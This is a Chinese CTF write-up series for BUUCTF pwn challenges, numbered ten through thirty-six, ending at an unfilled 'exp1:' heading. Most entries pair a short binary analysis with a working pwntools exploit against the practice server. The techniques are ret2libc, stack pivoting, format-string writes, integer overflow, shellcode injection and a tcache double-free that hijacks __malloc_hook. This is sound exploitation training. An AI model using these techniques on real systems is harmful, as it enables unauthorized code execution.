buu——pwn学习 有些题目不小心删了,hhh不过也不重要了,就算是第十题开始的吧(虽然应该是不止的)
十、铁人三项(第五赛区)_2018_rop checksec一下,开启了nx保护,然后拖入ida
呃。。。应该就是比较熟悉的rop的构建了,直接上exp吧,这类题目做挺多的了:
十一、gyctf_2020_borrowstack 先做下这题,一直想完整的了解栈迁移,借着这题真正的掌握栈迁移的手法和知识点吧,先checksec一下,再拖入ida分析
里面很简单,没有什么复杂的函数,很适合借此了解栈迁移!首先read函数读取的字节数不够,只能够刚好覆盖返回地址。第二输入点的位置是bss段上,不是栈。所以这时候就是要把栈迁移到这里,因为在这里我们可以有足够的输入构建系统函数调用shell
这题太坑了!!!!!!!!!!!!!首先,你如果使用了system函数调用/bin/sh,这时候无论你选择哪个版本的libc都无法成功获取shell!网上的师傅们好像也是这样,原因都只是模糊的说猜测是因为栈迁移的位置太靠近一些重要数据,可能还是影响到了什么东西。都采取了one_gadget的办法,这里我同样踩坑!
师傅们都是泄露出puts的got表地址,去查询出libc版本然后下载,然而我很惊奇的发现,我泄露的地址查询不到对应的libc版本。。。所以这里的exceve函数地址我是直接把师傅们的搬运过来了0x4526a
以及,栈迁移的发送函数,只能选择send。(别问为什么,我选择的是sendline。。。一直出问题,甚至为了找问题,我每个与师傅们wp不同地方慢慢改,发现竟然是这个原因,只能怪自己粗心吧,猜测是这里的read读取过于严格,所有输入数据都是刚好,多输入了一个\n导致了问题的发生,下次一定注意!)还有就是距离重要数据太近这点,前面的ret执行多次就是为了避免这个,因为bss段距离.got.plt太近了,并且跳转回main函数的时候,还会进行一次巨大的升栈,所以的话执行多次ret把栈的位置往bss段的高地址处迁移
其他的话,wp如下:
十二、bjdctf_2020_babyrop 例行checksec一下,然后运行一下。开启了nx和部分relro缓解机制。运行的结果也不能看出些什么,进入ida看看吧
在一个函数里面有着很明显的溢出点,足够我们覆盖返回地址并且构造系统函数了。一道常规的rop,就不多说了,已经做烂了。。
exp如下:
十三、others_shellcode 例行checksec以及执行附件,开启了nx,pie以及部分relro。运行附件发现直接就获取了shell。。
然后我试着nc一下远程,看看是不是也能获取shell,没想到。。确实可以
查看ida,发现附件中是已经调用了execve函数
十四、pwn2_sctf_2016 例行checksec并且运行,只开启nx和部分的relro,拖入ida查看一下代码
程序比较简单,可以很明确的发现,不存在后门函数,也没有明显的溢出点,被限制了。printf也没有问题,对于这样的情况,我第一时间是想到了整数溢出,通过整数溢出来越过检查,通过小数变成大数,从而溢出。
接下来讲下漏洞点:main函数里面定义的v2是int类型的,而在get_n里面却是unsigned的,这里如果我们输入了一个负数,那么在get_n里面将变得非常大,足够我们溢出了。
但是没有后门函数,所以只能进行rop了,用printf函数泄露got表地址,LibcSearcher一下,最终构造sys函数获取shell。网上师傅们都取了格式化参数,其实没必要的,本身printf存在着格式化字符串漏洞,所以可以直接printf出来,没必要再输入一个格式化参数。这里有个坑的地方,好吧,是我傻得踩到了还一直没看出来。get_n里面的getchar里面已经对0截断了,所以在第二次构造payload的时候,不可以像往常那样顺手写个p32(0),后面感觉不对劲,我给他顺手改成了个p32(1)。。。。有点傻。。这个后面三个字节仍然是0,依旧截断了。写出来警示一下大伙,多注意点细节。
对了,libc找出来有15个,你可以知道我有多绝望了,一个个试了,竟然都不行,而且还是两遍!!!
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import *from LibcSearcher import * p=remote("node3.buuoj.cn" ,25066 ) elf=ELF('./1' ) context.log_level='debug' printf_plt=elf.plt['printf' ] printf_got=elf.got['printf' ] main=elf.sym['main' ] p.sendlineafter('read?' ,'-1' ) payload='a' *(0x2c +0x4 )+p32(printf_plt)+p32(main)+p32(printf_got) p.sendlineafter('data!\n' ,payload) p.recvline() printf_addr=u32(p.recv(4 )) log.info("printf address:" +hex (printf_addr)) libc=LibcSearcher('printf' ,printf_addr) libc_base=printf_addr-libc.dump('printf' ) binsh=libc_base+libc.dump('str_bin_sh' ) system=libc_base+libc.dump('system' ) p.sendlineafter('read?' ,'-1' ) payload='a' *(0x2c +0x4 )+p32(system)+'beef' +p32(binsh) p.sendlineafter('data!\n' ,payload) p.interactive()
十五、ciscn_2019_s_3 常规执行checksec一下,查看保护,并且执行一下程序,看看回显
出现了一堆乱码,可能是地址泄露了?进入ida看看情况如何
main函数里面很简单,两个系统调用就没了,而有系统调用,那就去看看汇编代码。汇编代码前两行要注意,这里的rsp没有减少,在这题里面rsp=rbp了,后面计算偏移不可以把rbp覆盖了。左边的函数栏看一下,有个gadget的,进入查看
很显然,这里面给出了两个调用号,0F和3BH,对应着这题两种解法,我们先介绍使用3BH调用号调用execve函数的解法,稍后再介绍另一种。
解法一 execve(“/bin/sh”,0,0)总共有三个参数,所以我们需要控制rdi,rsi,rdx三个寄存器的值,很显然,这是return to libc_csu_init。rsi和rdx的值很好控制,设置为0即可,而/bin/sh字符串则需要我们去寻找了,我们只有一个输入点,就是往栈上面输入/bin/sh,然后通过泄露栈的地址而得到该地址,从而把地址给rdi,最后再调用syscall函数,即可获取shell。
而write函数会输出栈上0x30个内存单元内容,通过调试,可以知道0x20位置处会泄露出一个栈上的地址,我们只需要计算该地址到/bin/sh的偏差,就可以获取/bin/sh的地址
上图是我在本地调试的情况,0x7ffcaba65838是泄露出来的地址,可是扣去0x7ffcaba656f0得到的却是0x148,而我去网上找师傅们的wp是0x138,不太懂为什么。所以我只能本地获取到了shell,但是远程不能过了。
获取到了/bin/sh的地址,后面就是构造rop链了。
这边csu里面的edi是有问题的,因为/bin/sh的地址是不止4个字节,所以edi是不够盛放的,所以我们需要rdi才行,这边使用了ROPgadget去寻找。所以后面payload构造rop时,这边还需要利用r12盛放栈上的内容进行跳转到栈上继续执行,而不能直接就在r12里面存放syscall地址进行直接调用。
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import * p=process('./1' ) context.log_level='debug' elf=ELF('./1' ) main=elf.sym['main' ] syscall=0x400517 execve=0x4004e2 pop_rbx_rbp_r12_r13_r14_r15_ret=0x40059a rdx_edi_rsi=0x400580 offset=0x138 pop_rdi=0x4005a3 payload="/bin/sh\x00" *2 +p64(main) p.send(payload) p.recv(0x20 ) leak=u64(p.recv(8 )) binsh=leak-offsetprint hex (leak)print hex (binsh) gdb.attach(p,'b *main' ) payload="/bin/sh\x00" *2 payload+=p64(pop_rbx_rbp_r12_r13_r14_r15_ret) payload+=p64(0 )+p64(0 )+p64(binsh+0x50 )+p64(0 )+p64(0 )+p64(0 ) payload+=p64(rdx_edi_rsi)+p64(execve) payload+=p64(pop_rdi)+p64(binsh)+p64(syscall) p.send(payload) p.interactive()
解法二 后面有缘再更新吧,,,,
十六、ciscn_2019_es_2 常规checksec查看保护措施
程序只开启了NX,应该是道较为简单的题目,进入ida看看情况
这里总共输入了两次数据,同时还能printf出来,可能会泄露一些重要地址信息。这里的read函数全部被限制到只够刚好覆盖到返回地址就不能再继续填充了,所以这里是用了栈迁移的思想,把栈迁移到栈上,制造一个假栈。
栈迁移利用leave 和ret指令改变ebp和esp的指向位置,所以要先得到要迁移的地址,也就是s位置,这边泄露ebp的值,从而计算两者偏差
最顶上0xfffcd65就是s的位置,而0xffcd678就是ebp指向的位置,而在该地址处的内容为0xfffcd688就是我们泄露出来的内容,与s偏差为0x38
而系统函数附件中已经有了system的调用,差的就只有/bin/sh的字符串了,我们可以直接写在栈上,然后仍然是用泄露出来的地址算出/bin/sh地址,作为参数即可
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import * p=remote('node3.buuoj.cn' ,27262 ) system=0x8048400 leave_ret=0x80484b8 context(os='linux' ,arch='i386' ,log_level='debug' ) payload='a' *0x20 +'bbbbbbbb' p.recvline() p.send(payload) p.recvuntil('bbbbbbbb' ) ebp=u32(p.recv(4 ))print hex (ebp) s_buf=ebp-0x38 p.recvline() payload='bbbb' +p32(system)+'dead' +p32(ebp-0x28 )+'/bin/sh\x00' +'a' *0x10 +p32(s_buf)+p32(leave_ret) p.send(payload) p.interactive()
十七、ciscn_2019_n_3 照例checksec一下
开启了nx和canary,relro只开启部分,可以修改got表(后面没用到就是了)
进入ida看看反汇编代码
总共有着四个功能,第一个new note:
在第一个功能里面,可以创建一个堆,堆里面第一个存放的是printf函数指针,第二存放了一个free函数指针,第三个存放有区别,当type==1,存放的是一个数据,type ==2,存放的是字符串的地址。然后这个字符串的真正位置存放在又生成的一个堆里面。
free函数里面并未将指针置空,存在uaf漏洞。
另外三个功能,一个是调用printf函数指针,打印出一串字符串,一个是调用free函数指针,还有一个就是打印没什么意义的字符串
在函数表里面,我们可以看见,system函数被调用过了,也就是接下来就是/bin/sh以及调用的问题,这里我们选择在函数指针做手脚,因为函数指针未置空,我们只需要把free函数指针改为指向system的地址,然后再对释放的内容修改为/bin/sh的地址,就能让调用free(ptr)变成system(“/bin/sh”),这边由于输入长度问题,写的是/sh字符串。
那该怎么修改呢?利用fastbin attack,首先创建两个chunk(type==2的,chunk0和chunk1)创建的chunk都是固定大小为0xc的chunk,后面我们能控制大小的chunk随便写一个大小即可(不能为0xc!其他都行)。然后释放掉这两个chunk,再申请一个chunk3,我们能控制大小的chunk也要设置大小也为0xc,由于LIFO,那么程序创建的chunk将会被分配到第二个被释放的chunk1的位置,我们能控制大小的chunk就会被分配到第一个释放的chunk0的位置,而我们又能对这个chunk进行输入,所以把”sh\x00\x00”+p32(system)输入即可,最后再释放掉调用函数
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from pwn import * p=process('./1' ) context.log_level='debug' elf=ELF('./1' ) system=elf.sym['system' ]def new (idx,num,size,value ): p.sendlineafter("CNote >" ,'1' ) p.sendlineafter("Index >" ,str (idx)) p.sendlineafter("Type >" ,str (num)) if num==1 : p.sendlineafter("Value >" ,value) else : p.sendlineafter("Length >" ,str (size)) p.sendlineafter("Value >" ,value) def delete (idx ): p.sendlineafter("CNote >" ,'2' ) p.sendlineafter("Index >" ,str (idx))def show (idx ): p.sendlineafter("CNote >" ,'3' ) p.sendlineafter("Index >" ,str (idx))def purchase (): p.sendlineafter("CNote >" ,'4' ) new(0 ,2 ,0x14 ,'a' ) new(1 ,2 ,0x14 ,'b' ) delete(0 ) delete(1 ) new(2 ,2 ,0xc ,"sh\x00\x00" +p32(system)) gdb.attach(p,'b*main' ) delete(0 ) p.interactive()
十八、ciscn_2019_final_3 常规checksec一下
保护全开了,拖进ida看看反汇编代码吧
c++代码写的,不过功能很简单,就两个选择,先看第一个吧
最多可以创建二十四个不同的索引,堆的大小最大不能超过0x78,被限制只有fast chunk大小,然后我们在创建之后还能往堆上输入数据,最后,printf了堆的地址出来。
第二个功能更简单
释放掉索引对应的堆块,并且可以发现,并未将堆指针置空,存在uaf漏洞。在找找其他地方,发现没有存在后门函数。那只能走泄露libc了,然后劫持hook函数。
要泄露libc,就要有被释放的unsorted bin,这里限制了chunk的大小,那我们就要去修改chunk size,将其修改为比0x410大的数,因为题目环境为libc-2.27.so,存在tcache。
先创建许多堆块(后面再解释为什么创建这么多个),然后释放同一个堆块,因为存在tcache,所以可以直接释放两次
出现了循环指向,这时候我们在申请同样大小的堆块,这里是要申请三次,第三次chunk生成的地方(选择生成在chunk0的size处,修改他的值),才是我们要的。首先是指向自身,当我们第一次申请时,通过输入把fd修改为指向chunk0
这是第一次申请,可以看到,chunk0地址出现了
这是第二次申请,只剩下chunk0,那第三次申请就能让chunk出现在chunk0位置,然后修改其size的大小,这边我是修改为0x420
然后把这个堆块释放掉,就会出现libc了,这边解释为什么要申请很多的堆块,因为你要修改为0x420,如果申请的堆块没有大于0x420,那这个堆块会一直处于free的状态的,他要有那么大的size,才能成为0x420的chunk,所以我们申请的堆块会先被并入这个大chunk里面。
释放完后出现了libc中的地址,接下来就泄露了。因为题目里面只能泄露出堆块的地址,所以我们要想办法让在这个地址申请chunk。这边因为这个0x420的chunk是由许多chunk合并的,我们把chunk1释放了,再申请一个大小和chunk0一样的堆块,就可以让chunk1能够重叠在fd的位置
可以看到,0x20大小的tcache_entry出现了类似前面的重复释放的样式,所以也是申请堆块,然后在libc地址生成chunk,再将其泄露。之后就是劫持hook了,以上的就是这题的点了,后面不多说了。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 from pwn import * p=remote("node3.buuoj.cn" ,25609 ) context.log_level='debug' elf=ELF('./1' ) libc=ELF("./libc.so.6" ) __malloc_hook=libc.sym['__malloc_hook' ]def add (idx,size,write ): p.sendlineafter("choice >" ,'1' ) p.sendlineafter("index" ,str (idx)) p.sendlineafter("size" ,str (size)) p.sendafter("something" ,write) p.recvuntil("gift :" ) return int (p.recv(14 ),16 )def remove (idx ): p.sendlineafter("choice >" ,'2' ) p.sendlineafter("index" ,str (idx)) ptr0=add(0 ,0x70 ,'a' )print hex (ptr0) add(1 ,0x10 ,'x' ) add(2 ,0x70 ,'x' ) add(3 ,0x70 ,'x' ) add(4 ,0x70 ,'x' ) add(5 ,0x70 ,'x' ) add(6 ,0x70 ,'x' ) add(7 ,0x70 ,'x' ) add(8 ,0x70 ,'x' ) add(9 ,0x70 ,'x' ) add(10 ,0x70 ,'x' ) add(11 ,0x70 ,'x' ) add(12 ,0x20 ,'x' ) remove(12 ) remove(12 ) add(13 ,0x20 ,p64(ptr0-0x10 )) add(14 ,0x20 ,p64(ptr0-0x10 )) add(15 ,0x20 ,p64(0 )+p64(0x421 )) remove(0 ) remove(1 ) add(16 ,0x70 ,'x' ) add(17 ,0x10 ,'x' ) libc_base=add(18 ,0x10 ,'x' )-0x3ebca0 __malloc_hook=libc_base+__malloc_hook one_gadget=libc_base+0x10a38c log.info("libc_base:" +hex (libc_base)) log.info("__malloc_hook: " +hex (__malloc_hook)) log.info("one_gadget: " +hex (one_gadget)) remove(3 ) remove(3 ) add(19 ,0x70 ,p64(__malloc_hook)) add(20 ,0x70 ,p64(__malloc_hook)) add(21 ,0x70 ,p64(one_gadget)) p.sendlineafter("choice >" ,'1' ) p.sendlineafter("index" ,'22' ) p.sendlineafter("size" ,'0x30' ) p.interactive()
十九、ciscn_2019_s_4 这题好像之前有过?所以这里就不再多说了,栈迁移的题目,直接贴exp了
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import * p=remote("node3.buuoj.cn" ,29292 ) context.log_level='debug' system=0x8048400 leave_ret=0x80484b8 payload='a' *0x24 +'beef' p.sendafter("name?" ,payload) p.recvuntil("beef" ) ebp=u32(p.recv(4 ))print hex (ebp) s_buf=ebp-0x38 payload=('bbbb' +p32(system)+p32(1 )+p32(s_buf+0x10 )+"/bin/sh\x00" ).ljust(0x28 ,'a' )+p32(s_buf)+p32(leave_ret) p.send(payload) p.interactive()
二十、jarvisoj_fm 一道很平常的格式化字符串的题目,就直接给exp了
exp:
1 2 3 4 5 6 7 8 9 10 from pwn import * p=remote("node3.buuoj.cn" ,25092 ) context.log_level='debug' x=0x0804A02C payload=p32(x)+'%11$n' p.sendline(payload) p.interactive()
二十一、[HarekazeCTF2019]baby_rop2 一道常规rop题目,除了这题printf会出现下图的匹配不到libc之外,其他没什么,而对于这个,只要换个函数,我这边用read,就可以了。噢,还有!目录里面没有flag
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import *from LibcSearcher import * p=remote("node3.buuoj.cn" ,26933 ) context.log_level='debug' elf=ELF('./1' ) main=elf.sym['main' ] printf_plt=elf.plt['printf' ] printf_got=elf.got['printf' ] read_plt=elf.plt['read' ] read_got=elf.got['read' ] pop_rdi=0x400733 ret=0x4004d1 payload='a' *0x28 +p64(pop_rdi)+p64(read_got)+p64(printf_plt)+p64(main) p.sendlineafter('name? ' ,payload) p.recvline() read=u64(p.recv(6 ).ljust(8 ,'\0' ))print hex (read) libc=LibcSearcher('read' ,read) libc_base=read-libc.dump('read' ) binsh=libc_base+libc.dump('str_bin_sh' ) system=libc_base+libc.dump('system' ) payload='a' *0x28 +p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system) p.sendline(payload) p.recvline() p.interactive()
二十二、ez_pz_hackover_2016 常规checksec一下,查看保护机制
nx都没开,应该是注入shellcode来getshell了,进入ida看看代码
确实,没给后门函数,nx没开,应该就是注入shellcode了,我们看看代码,首先题目先把s的在栈上的地址泄露出来了,后面则需要绕过crashme,这个简单,先输入这个,加上\x00让strcmp检验通过,之后,在vuln里面的memcpy存在着溢出,里面的栈比较小,而外面的栈较大,可以写入shellcode,接下就计算shellcode的地址,以及溢出点的偏移距离,这边有坑的就是IDA里面的偏移是错的,我们需要进入gdb动调试进行找寻地址以及偏移距离
我们泄露的地址距离字符串起始地址0xffc445f0相减之后,相差0x1c
垃圾字符串偏移是18,但是我们还输入了crashme\x00,所以总的偏移是26个。之后就是return to shellcode了
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import * p=process('./1' ) context.log_level='debug' context.os='linux' context.arch='i386' gdb.attach(p) p.recvuntil("0x" ) s_buf=int (p.recv(8 ),16 )print hex (s_buf) shellcode=asm(shellcraft.sh()) payload="crashme\x00" .ljust(26 ,'a' )+p32(s_buf-0x1c )+shellcode p.sendlineafter("> " ,payload) p.interactive()
二十三、[Black Watch 入群题]PWN 常规checksec一下
只开启了nx保护,进入ida看看代码
给了两次输入,第一次在.bss段上,第二次是栈,栈上的只够覆盖到返回地址,但是.bss却可以输入大量数据,所以要劫持栈到.bss进行rop,所以要让ebp的值为s的地址,返回地址为leave,把栈劫持到.bss上,其他剩下就是常规的rop
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import *from LibcSearcher import * p=remote("node3.buuoj.cn" ,26260 ) context.log_level='debug' leave_ret=0x8048408 s_buf=0x0804A300 elf=ELF('./1' ) main=elf.sym['main' ] write_got=elf.got['write' ] write_plt=elf.plt['write' ] payload='xxxx' +p32(write_plt)+p32(main)+p32(1 )+p32(write_got)+p32(4 ) p.sendafter("name?" ,payload) payload='a' *0x18 +p32(s_buf)+p32(leave_ret) p.sendafter("say?" ,payload) write=u32(p.recv(4 ))print hex (write) libc=LibcSearcher("write" ,write) libc_base=write-libc.dump('write' ) binsh=libc_base+libc.dump('str_bin_sh' ) system=libc_base+libc.dump('system' ) payload='xxxx' +p32(system)+p32(main)+p32(binsh) p.recv() p.send(payload) payload='a' *0x18 +p32(s_buf)+p32(leave_ret) p.recv() p.send(payload) p.interactive()
二十四、jarvisoj_tell_me_something 这题,进入ida里面
有个这个函数,可以看见,已经读取了flag,并且还会将其输出,并且main函数有溢出点,跳转到这,再接收flag即可
exp:
1 2 3 4 5 6 7 8 9 from pwn import *p =remote('node3.buuoj.cn',28478) context.log_level ='debug' payload ='a' *0x88+p64(0x400620) p.sendlineafter("message:" ,payload) p.recvline() p.recvall()
二十五、gwctf_2019_easy_pwn 照例checksec
只开启了nx,进入ida发现是c++写的,看不懂。。。
直接输入是不够溢出的,然后往下看,发现还有个strcpy,可能可以溢出,但是v4不知道咋来的,然后就跑去百度了(真没志气,hh),发现其实能看懂应该很简单,不过可能就是为了让人看不懂吧,嗯,应该要学c++了!(下次一定)
这边是I可以被替换为pretty,所以填入I,被转换溢出,而跳转进行rop
明白这个,其他也就没什么了
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import * p=remote("node3.buuoj.cn" ,26014 ) context.log_level='debug' elf=ELF('./1' ) puts_plt=elf.plt['puts' ] puts_got=elf.got['puts' ] main=0x8049091 payload='I' *16 +p32(puts_plt)+p32(main)+p32(puts_got) p.send(payload) p.recvuntil('pretty' *16 ) p.recv(12 ) puts=u32(p.recv(4 ))print (hex (puts)) one_gadget=puts-0x05f140 +0x5f066 payload='I' *16 +p32(one_gadget) p.send(payload) p.interactive()
二十六、wustctf2020_getshell 一道简单题,直接exp:
1 2 3 4 5 6 7 8 from pwn import * p=remote("node3.buuoj.cn" ,28677 ) context.log_level='debug' payload='a' *0x1c +p32(0x0804851B ) p.send(payload) p.interactive()
二十七、mrctf2020_easyoverflow 虽然checksec完,保护全开了,但是程序很简单,真的只是溢出覆盖即可,就不多说了
exp:
1 2 3 4 5 6 7 8 from pwn import * p=remote("node3.buuoj.cn" ,28551 ) context.log_level='debug' payload='a' *0x30 +'n0t_r3@11y_f1@g' p.sendline(payload) p.interactive()
二十八、cmcc_pwnme1 这题,本来是平常的ret2libc的,但是,靠,给坑了
是的,这里给了个“后门函数”!,假的,害我一直想为什么不能获取,以为是不是接收出了问题。原因却是home里面是不存在flag的,怎么可能获取flag
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import *from LibcSearcher import * p=remote("node3.buuoj.cn" ,27186 ) context.log_level='debug' elf=ELF('./1' ) puts_plt=elf.plt['puts' ] puts_got=elf.got['puts' ] addr=0x08048624 p.sendlineafter("6. Exit" ,'5' ) payload='a' *0xA8 +p32(puts_plt)+p32(addr)+p32(puts_got) p.sendlineafter('Please input the name of fruit:' ,payload) p.recvline() puts=u32(p.recv(4 )) log.success("puts_addr ---->>" + hex (puts)) libc=LibcSearcher('puts' ,puts) libc_base=puts-libc.dump('puts' ) system=libc_base+libc.dump('system' ) binsh=libc_base+libc.dump('str_bin_sh' ) payload ='a' *0xa8 +p32(system)+'xxxx' +p32(binsh) p.sendlineafter('Please input the name of fruit:' ,payload) p.recvline() p.interactive()
二十九、jarvisoj_level1 常规checksec一下
发现什么都没开,第一想法就是注入shellcode,结果。。
结果ida里面竟然确实是给了buf的地址,再加上
嗯,好家伙,直接shellcode了,然后。。。远程不通,本地通了,没想明白,跑去百度了,结果发现,远程连接,竟然是先输入,再输出栈上的buf地址,靠!然后方法就变成了ret2libc了
这波竟然是给的附件不准确,见识到了!就跟ida里面栈偏移可能会错一样,以后多多注意自己动手进行调试和连接
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwn import *from LibcSearcher import * p=remote("node3.buuoj.cn" ,26819 ) elf=ELF('./level1' )'''context.log_level='debug' context.os='linux' context.arch='i386' p.recvuntil("this:0x") buf_addr=int(p.recv(8),16) print hex(buf_addr) shellcode=asm(shellcraft.sh()) payload=(shellcode).ljust(0x8c,'a')+p32(buf_addr) p.sendline(payload) ''' write_plt=elf.plt['write' ] write_got=elf.got['write' ] main_addr=elf.symbols['main' ] payload='A' *0x8c +p32(write_plt)+p32(main_addr)+p32(1 )+p32(write_got)+p32(4 ) p.sendline(payload) write=u32(p.recv(4 )) log.info('write addr: ' +hex (write)) libc=LibcSearcher('write' ,write) libc_base=write-libc.dump("write" ) system=libc_base+libc.dump("system" ) binsh=libc_base+libc.dump("str_bin_sh" ) payload='A' *0x8c +p32(system)+'xxxx' +p32(binsh) p.sendline(payload) p.interactive()
三十、bjdctf_2020_babystack2 常规checksec
保护没开几个,进入ida静态分析一波,
代码很简单,输入一个数字,不能超过10,然后这个数值作为后续输入的大小,并且能看左边有给后门函数,那么就是溢出劫持rip即可,认真观察,输入的nbytes前面是int,后面却是unsigned了,所以存在整型溢出,输入一个负数,即可变为很大的整数
exp:
1 2 3 4 5 6 7 8 9 10 11 from pwn import * context.log_level='debug' p=remote("node3.buuoj.cn" ,26091 ) get_shell=0x0400726 p.recvuntil("name:" ) p.sendline('-1' ) payload='a' *0x18 +p64(get_shell) p.sendlineafter("name?" ,payload) p.interactive()
三十一、jarvisoj_level3_x64
程序很简单,应该是道rop,有溢出点,有write泄露函数,这题考点应该是在于是64位程序,使用寄存器传参,而write的参数需要三个寄存器才行,我第一个想到的是ret2csu,刚好有三个前三个寄存器,没想到,没利用成功,不知道为什么。有师傅知道的话,恳请指点一番!感激不尽!
然后就是百度了一下,发现这题有趣,使用ROPgadget可以找到rdi和rsi两个寄存器,而第三个rdx寄存不需要去控制,里面的值已经存有200,可以直接使用了,所以就是正常构造rop即可
所以这题得到的就是,要多观察我们需要构造的寄存器里面的值是否已经可以使用,需不需要额外构造
exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from pwn import *from LibcSearcher import * p=remote("node3.buuoj.cn" ,25077 ) context.log_level='debug' elf=ELF('./1' ) main=elf.sym['main' ] write_plt=elf.plt['write' ] write_got=elf.got['write' ] read_got=elf.got['read' ] pppppp_ret=0x4006aa mov_rdx_rsi_edi=0x400690 ret=0x400499 pop_rdi=0x4006b3 pp_ret=0x4006b1 ''' payload='a'*0x88+p64(pppppp_ret) payload+=p64(0)*2+p64(ret)+p64(8)+p64(read_got)+p64(1) payload+=p64(mov_rdx_rsi_edi)+p64(write_plt)+p64(main) p.sendlineafter('Input:',payload) p.recv() write=u64(p.recv(6).ljust(8,'\0')) log.info("wirte addr:"+hex(write)) ''' payload = "a" * 0x88 payload += p64(pop_rdi) + p64(1 ) payload += p64(pp_ret) + p64(read_got) + p64(0 ) payload += p64(write_plt) payload += p64(main) p.sendlineafter("Input:\n" , payload) read = u64(p.recv(6 ).ljust(8 , '\0' )) log.info("read addr:" +hex (read)) libc = LibcSearcher("read" ,read) libc_base = read - libc.dump("read" ) system = libc_base + libc.dump("system" ) binsh = libc_base + libc.dump("str_bin_sh" ) payload='a' *0x88 +p64(pop_rdi)+p64(binsh)+p64(system) p.sendlineafter('Input:' ,payload) p.interactive()
三十二、jarvisoj_level4 32位的rop,就没有上面那么麻烦了,直接在栈上写就好了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import *from LibcSearcher import * p=remote("node3.buuoj.cn" ,27477 ) context.log_level='debug' elf=ELF('./1' ) main=elf.sym['main' ] write_plt=elf.plt['write' ] write_got=elf.got['write' ] read_plt=elf.plt['read' ] read_got=elf.got['read' ] payload='a' *0x8c +p32(write_plt)+p32(main)+p32(1 )+p32(write_got)+p32(4 ) p.sendline(payload) write=u32(p.recv(4 )) log.info("write addr:" +hex (write)) libc=LibcSearcher('write' ,write) libc_base=write-libc.dump('write' ) binsh=libc_base+libc.dump('str_bin_sh' ) system=libc_base+libc.dump('system' ) payload='a' *0x8c +p32(system)+p32(0 )+p32(binsh) p.sendline(payload) p.interactive()
三十三、picoctf_2018_rop chain 常规32位rop即可getshell
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import *from LibcSearcher import * p=remote("node3.buuoj.cn" ,27038 ) context.log_level='debug' elf=ELF('./1' ) main=elf.sym['main' ] printf_plt=elf.plt['printf' ] printf_got=elf.got['printf' ] payload='a' *28 +p32(printf_plt)+p32(main)+p32(printf_got) p.sendlineafter("input> " ,payload) printf=u32(p.recv(4 )) log.info("printf addr:" +hex (printf)) libc=LibcSearcher('printf' ,printf) libc_base=printf-libc.dump('printf' ) binsh=libc_base+libc.dump('str_bin_sh' ) system=libc_base+libc.dump('system' ) payload='a' *28 +p32(system)+p32(0 )+p32(binsh) p.sendline(payload) p.interactive()
续:突然想去百度一下,看看那个给的后门函数是不是有用(因为我是没去用的,直接就是ret2libc了),结果发现,师傅们的解法是去利用已经给的函数,去让flag被打印出来,exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *from LibcSearcher import * context(os = "linux" , arch = "i386" , log_level= "debug" ) p = remote("node3.buuoj.cn" , 27036 ) win_function1 = 0x080485CB win_function2 = 0x080485D8 flag = 0x0804862B payload = "a" * 0x1c payload += p32(win_function1) payload += p32(win_function2) + p32(flag) + p32(0xBAAAAAAD ) + p32(0xDEADBAAD ) p.sendlineafter("input> " , payload) p.interactive()
三十四、picoctf_2018_buffer overflow 1 exp:
1 2 3 4 5 6 7 8 9 10 from pwn import * p=remote("node3.buuoj.cn" ,25801 ) context.log_level='debug' payload='a' *0x2c +p32(0x80485cb ) p.sendlineafter("string: " ,payload) p.recvall() p.interactive()
三十五、jarvisoj_test_your_memory
checksec一下,然后进入ida
这题的溢出点在scanf,然后,这里的检查保护,似乎没什么用处,并不能影响到退栈时候,我们控制eip,所以不用管,然后后门函数给了,直接用就好了。
这题跟之前有道类似,这次我学聪明了,很早就nc看了,远程和本地不一样,远程先要我们进行输入,这里算是一个点;还有个就是,调用程序函数打印flag的时候,返回地址处要写存在的地址,不可以随便填写,否则无法得到flag。
exp:
1 2 3 4 5 6 7 8 9 10 from pwn import * p=remote("node3.buuoj.cn" ,27280 ) context.log_level='debug' system=0x080485BD flag=0x80487e0 payload='a' *0x17 +p32(system)+p32(flag)+p32(flag) p.sendline(payload) p.interactive()
三十六、cmcc_simplerop
checksec一下,然后拖进ida。
符号表满满当当,静态链接了。一般考虑为ret2syscall。也确实,ROPgadget寻找了一番,syscall需要的都有了。除了没有/bin/sh,最开始我是直接寻找sh字符串的,因为有的题目sh也是可以getshell的,但是这题不行。就必须要找地方输入/bin/sh了,这个地方当然是.bss段啦
然后就是这边的溢出IDA里面有误,需要gdb里面进行寻找,偏移为32才对。
exp1:
